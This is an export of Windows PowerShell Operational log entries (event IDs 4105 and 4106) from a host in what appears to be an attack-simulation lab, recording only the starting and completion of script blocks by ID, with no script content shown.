LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033669
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033668
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033667
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033666
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033650
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033649
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033644
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033643
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
